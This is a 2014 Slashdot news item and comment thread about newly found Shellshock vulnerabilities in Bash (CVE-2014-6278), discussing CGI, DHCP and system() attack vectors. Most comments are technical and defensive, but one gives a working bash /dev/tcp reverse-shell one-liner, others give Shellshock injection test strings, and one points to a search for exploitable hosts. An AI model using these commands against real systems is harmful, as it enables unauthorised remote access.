Follow Slashdot blog updates by subscribing to our blog RSS feed

 



Forgot your password?
typodupeerror
Check out the new SourceForge HTML5 internet speed test! No Flash necessary and runs on all devices. ×
Security Bug Open Source

Bash To Require Further Patching, As More Shellshock Holes Found 329

Bismillah writes Google security researcher Michael 'lcamtuf' Zalewski says he's discovered a new remote code execution vulnerability in the Bash parser (CVE-2014-6278) that is essentially equivalent to the original Shellshock bug, and trival to exploit. "The first one likely permits remote code execution, but the attack would require a degree of expertise to carry out," Zalewski said. "The second one is essentially equivalent to the original flaw, trivially allowing remote code execution even on systems that deployed the fix for the initial bug," he added.
This discussion has been archived. No new comments can be posted.

Bash To Require Further Patching, As More Shellshock Holes Found

Comments Filter:
  • by gweihir ( 88907 ) on Monday September 29, 2014 @07:21AM (#48018317)

    Bash does not have network connectivity. The only thing possible is that there may be remote code execution vulnerabilities when bash is used in connection with a network service like a web-server or ssh. Maybe try to have a minimum of accuracy in these stories?

    • by benjymouse ( 756774 ) on Monday September 29, 2014 @07:30AM (#48018351)

      The fact is that bash allows external entities to poison environment variables ahead of invocation, causing unintended behavior in bash when it is launched as a child process.

      You are correct that this is not a remote exploit by itself. Only with CGI does it become remote. It is a code injection vulnerability that when used with CGI becomes a remotely exploitable vulnerability.

      This is not a "blanded" attack that combines with a CGI vulnerability. There is no vulnerability in CGI; it works as specified (you could say that there is a design vulnerability in CGI - and I would agree about that).

      • by c ( 8461 ) <beauregardcp@gmail.com> on Monday September 29, 2014 @08:08AM (#48018573)

        The fact is that bash allows external entities to poison environment variables ahead of invocation, causing unintended behavior in bash when it is launched as a child process.

        Well, it's not that it allows external entities to poison the environment, it's that it gives the finger to that basic secure programming practice where you should just assume that externally provided input is tainted data.

        (you could say that there is a design vulnerability in CGI - and I would agree about that).

        Debatable.

        There's nothing in the CGI specification that requires or suggests that there needs to be any kind of intermediary in handling the reqests aside from the web server. The environment is a perfectly legitimate way of passing data, and if the web server calls the CGI safely (i.e. pipe()/fork()/exec()) there's no reason for a transient interpreter like bash to get involved. And, aside from security, the performance hit of invoking a shell just to launch another program makes it a bit silly to do it any other way.

        And I'd point out that it's possible to explicitly control the environment of a subprocess (i.e. execle()), so anything calling a CGI program can at least sanitize things to minimize any damage. Not that the CGI should depend on the caller to sanitize things, of course.

        On the other hand, the environment is a perfectly stupid way to pass code around.

        • by benjymouse ( 756774 ) on Monday September 29, 2014 @08:38AM (#48018745)

          There's nothing in the CGI specification that requires or suggests that there needs to be any kind of intermediary in handling the reqests aside from the web server. The environment is a perfectly legitimate way of passing data, and if the web server calls the CGI safely (i.e. pipe()/fork()/exec()) there's no reason for a transient interpreter like bash to get involved.

          The BIG problem here is that environment variables are inherited by default by and child processes. A semi-persistent mechanism is being used (by CGI) to pass what should have been transient data.

          The passed values from CGI to the command processor is intended ONLY for the command processor. This is a specification vulnerability almost on par with PHP register_globals: If you know that a certain sub-process *also* uses environment variables to pass parameters, you can poison those environment variables from the web context.

          PHP register_globals was bad exactly because of this: Sometimes a script would assume that a variable having no value (e.g. "CURRENT_USER") meant that the user had not logged on; and conversely that a value meant that the user had indeed authenticated. Presto: Inject "CURRENT_USER" as a request parameter and PHP would register a global variable which would cause the test to believe that you were logged on.

          The CGI way is very, very similar: Environment variables are indeed "global" and it is very difficult for the immediate receiving processor to check whether extra variables have been set (as it itself could inherit variables from its parent process).

          The wrong mechanism (a semi-persistent environment) is being used to transfer what should have transient data. That is a vulnerability in the spec.

    • Correct me if I'm wrong, but isn't it still a pretty common case to have ssh and/or web-server services enabled on a server? And I think I saw examples of bash-exploits through HTTP-requests for Apache - could it be used with these Shellshock vulnerabilities?
      • by DarkOx ( 621550 ) on Monday September 29, 2014 @07:58AM (#48018495) Journal

        Yes CGI is the common vector you are seeing lots of on the internet, but the greater threat I think to many users is dhcp.

        If you have a Linux box that you get a dhcp address from GET IT PATCHED NOW.

        Anyone can stand up a rouge DHCP server on most networks. Corporate environments might be slightly safer IFF they are well run. That is dhcp snooping is enabled on all the edge switches along with port security so you can know there are no addition dump hubs/switches daisy chained.

        Otherwise DHCP options are passed as environment variables to the DHCP hook scripts on the client, even the default debug script that just returns if DEBUG is not set, and ships with dhclient would be vulnerable because the environment is parsed before any script content. You are walking around with a remote root exploit!

    • by Poeli ( 573204 )

      bash has network connectivity (since version 4 I think).

      Try: cat /dev/tcp/time.nist.gov/13

    • by DarkOx ( 621550 ) on Monday September 29, 2014 @07:52AM (#48018473) Journal

      Umm bash does indeed have network capabilities and I use them for getting reverse shells all the time.

      It can be compiled without it but in general its present on most linux systems.

      echo $(bash -i >& /dev/tcp/x.x.x.x/yyyy 0>&1)

      Where x.x.x.x is the ip and yyyy is the port you want to send the shell to, you can use a netcat listener on the remote host.

    • by markus_baertschi ( 259069 ) <markus&markus,org> on Monday September 29, 2014 @07:56AM (#48018485)
      Bash has network connectivity on plenty of servers because it is used to execute cgi-script by the webserver (and other network services).

      Here the definition of the system() function call often used to run external commands:

      system() executes a command specified in command by calling /bin/sh -c command

      /bin/sh is linked to /bin/bash and vulnerable. Executing external commands through system(), and therefore bash, is by far the easiest method, so it is widely used. It is sufficient to trick the server or daemon.

      Here a proof of concept where a dhcp server tricks a dhcp client into running an arbitrary command. https://www.trustedsec.com/sep... [trustedsec.com]

      Markus

      • /bin/sh is linked to /bin/bash and vulnerable.

        This was the first failure. sh should be sh, or at least a decent restrictable shell like ash or zsh, and bash should be bash.

        • by Deagol ( 323173 )

          If you're on the RHEL security/patch list, you may have noticed a huge number of updates to ksh over the past couple of months. I found this odd -- until the recent shellshock thing went public. Perhaps this class of attack works against ksh as well? Looks like code reviews of core OS binaries may be ramping up since heartbleed.

        • Maybe.

          But this decision was probably made before ash or zsh were around. Probably after enough bugs were found in (probably unmaintained) /bin/sh that using the special posix sh mode of bash made lots of sense.

          Markus

          • After some reflection I suspect that there never was a 'pure' /bin/sh on Linux. It may have been bash all along.

            Most commercial Unixes come with a dedicated /bin/bash and the korn shell. One could install bash, but this would be a 3rd party tool and not affect system().

            Markus

      • by fnj ( 64210 )

        /bin/sh is linked to /bin/bash and vulnerable

        Only for a distro which is designed and implemented STUPIDLY. Granted a lot of major distros do this. RHEL for example. And yes, it is stupid and lazy. It is stupid because bash does not perfectly implement POSIX sh behavior. Even when $0 is /bin/sh, the reduced emulation is flawed. It still allows extensions which expose bugs. And it is lazy because they allowed crap scripts to creep into the system so that they decided it was too hard to weed them out. A crap s

  • Seems to me that there are multiple indications that the parser is quirky, ad-hoc and error-prone. Parser construction is an old discipline. Was the bash parser created by people without the proper training, and has later maintenance ignored code because it was too weird?

  • by GeekWithAKnife ( 2717871 ) on Monday September 29, 2014 @07:28AM (#48018339)

    Rejoice my brethren; finally linux is becoming popular, the year of the desktop is upon us!
  • by Anonymous Coward on Monday September 29, 2014 @07:30AM (#48018345)

    A quick wrap-up of some Slashdot headlines about Windows and open source vulnerabilities. This might not be enough data to say anything certain, but an interesting trend is surely developing.

    2004: New Windows Vulnerability in Help System [slashdot.org]
    2004: Four New Unpatched Windows Vulnerabilities [slashdot.org]
    2007: Windows Vulnerability in Animated Cursor Handling [slashdot.org]
    2010: Windows DLL Vulnerability Exploit in the Wild [slashdot.org]
    2012: Windows Remote Desktop Exploit in the Wild [slashdot.org]
    2014: 23 Year Old X11 Server Security Vulnerability Discovered [slashdot.org]
    2014: OpenSSL Bug Allows Attackers to Read Memory in 64k Chunks [slashdot.org]
    2014: Remote Exploit Vulnerability in Bash [slashdot.org]

    • by reikae ( 80981 )

      Comparing an operating system to a development model ought to throw an exception.

  • by k.a.f. ( 168896 ) on Monday September 29, 2014 @07:38AM (#48018393)
    Is there an updated cut-and-paste toy command line to establish quickly whether you're still vulnerable to these variants, or are the details still embargoed?
    • You don't need a test. Check if you allow bash to be invoked remotely by untrusted users, ever, directly or indirectly. If you do, find the responsible architect, pour a cup of soda over his head, demote him to level 1 support, and fix your systems.
    • env X='() { (a)=>\' sh -c "echo date"; cat echo If the date is displayed, a file named "echo" is created (and you are vulnerable)
    • From Eric Blake's bug-bash post [gnu.org]

      bash -c "export f=1 g='() {'; f() { echo 2;}; export -f f; bash -c 'echo \$f \$g; f; env | grep ^f='"

      If you see anything like the following:

      bash: g: line 1: syntax error: unexpected end of file
      bash: error importing function definition for `g'
      1
      2
      f=1
      f=() { echo 2

      you're still vulnerable. There may be other issues the above does not cover.

  • I'm a little unclear how I, as a user, can get exploited by this. (I know that it's bash (which pretty much makes MSWindows users immune), but what about the rest of us?)

    Do I need to just browse a website on my computer?
    Do I need to install Apache/PHP or some other server and open an appropriate port on my system?
    Do I need to have port 22 open?
    Do I need to have a root user?

    • by X0563511 ( 793323 ) on Monday September 29, 2014 @07:54AM (#48018477) Homepage Journal

      You need to have a network service listening that passes data to bash (or arbitrary shells, though that would be far rarer). For example, an Apache HTTP server using bash as a CGI to process requests.

      In general this is a bad thing, with a few exclusions for items that require it by their very purpose - for example SSH.

      Note however that in the SSH example, the 'passing-stuff-to-shell' is post-authentication - so if they can exploit it, they can already log in as you anyways and do what they want.

      • by Qzukk ( 229616 )

        Apache HTTP server using bash as a CGI to process requests

        Or any webserver using any CGI that calls system() to execute anything in a computer where the system shell is bash.

    • by DarkOx ( 621550 )

      None of that, if you have a vulnerable version of bash and use DHCP that is enough

    • by ruir ( 2709173 ) on Monday September 29, 2014 @08:03AM (#48018535)
      There has been much FUD, but not really much technical details in the most common sites. First, this news is inflammatory behind retardation, as it does not make clear that the 2nd patch was officially out by last Thursday or Friday for Debian at least. But then, lets not get the truth on the way of a "news" article, oh noes. As for ways of getting "exploited" they are rather limited. You have to have CGI bash scripts installed on you apache, and CGI enabled, which in more modern distros are far and between. So this will mostly affect old servers. The ways which this works to other services is not clear. Also, it only allows exploit to the same user running the service. I doubt a lot it will allow escalation with setuid scripts, because, as far as I remember, bash has not allowed for decades to mark scripts with setuid due to security problems.
  • Still waiting... (Score:2, Insightful)

    by Anonymous Coward

    Still waiting for examples of how to exploit this (remotely or otherwise), without using an existing hole to do so.

    The most repeated example is letting the web server call a shell script. Yeah, we did that 15 years ago, and WE KNEW it was a stupid thing to do. There are so many ways of script injection, and nobody gets their quotes perfectly right. I thought security had become better in 15 years, but if that example is the best they have, apparently nothing has changed.

    Seriously, if that example matters to

    • Still waiting for examples of how to exploit this (remotely or otherwise), without using an existing hole to do so.

      Plesk has a test.cgi file enabled by default. Here, go exploit all these hosts:
      https://www.google.com/search?... [google.com]

  • by Anonymous Coward on Monday September 29, 2014 @08:38AM (#48018749)

    You'd better call it the GNU/Shellshock security vulnerability!

  • by Attila the Bun ( 952109 ) on Monday September 29, 2014 @08:50AM (#48018843)

    Why does bash have to worry about security? It's just a shell, a thin interface supposed to execute whatever commands it receives. Surely the bug lies with Apache et al. for not properly censoring the data they receive from outside and send to bash for execution.

    I understand that the exploit works by appending malicious commands after a function definition contained in an environment variable. The environment variables aren't meant to contain anything more than the function, so executing the extra code is a bug. In that sense the bug belongs to bash. But the shells were never designed to be secure against this kind of attack, and as we're now discovering there are all kinds of related vulnerabilities. Server software such as Apache is made to be secure: it has to worry about sending arbitrary commands to bash, so why not worry about setting arbitrary environment variables too?

    • It's just as big of a problem with privilege escalation though, which bash should have been designed to protect against.
    • by dkf ( 304284 )

      Why does bash have to worry about security?

      Because if it is installed as /bin/sh (fairly common), it gets called in a great many places because of the OS APIs system() and popen(), which are both defined to use /bin/sh on Unix. Much of the reporting about it has been more than a little breathless, but that's journalists for you.

      Not everything is vulnerable. CGI is not inherently vulnerable (it could use execve() directly) and the called code need not use bash ever. But it's still a serious problem as anything that explicitly requires bash is also de

"It ain't over until it's over." -- Casey Stengel

Working...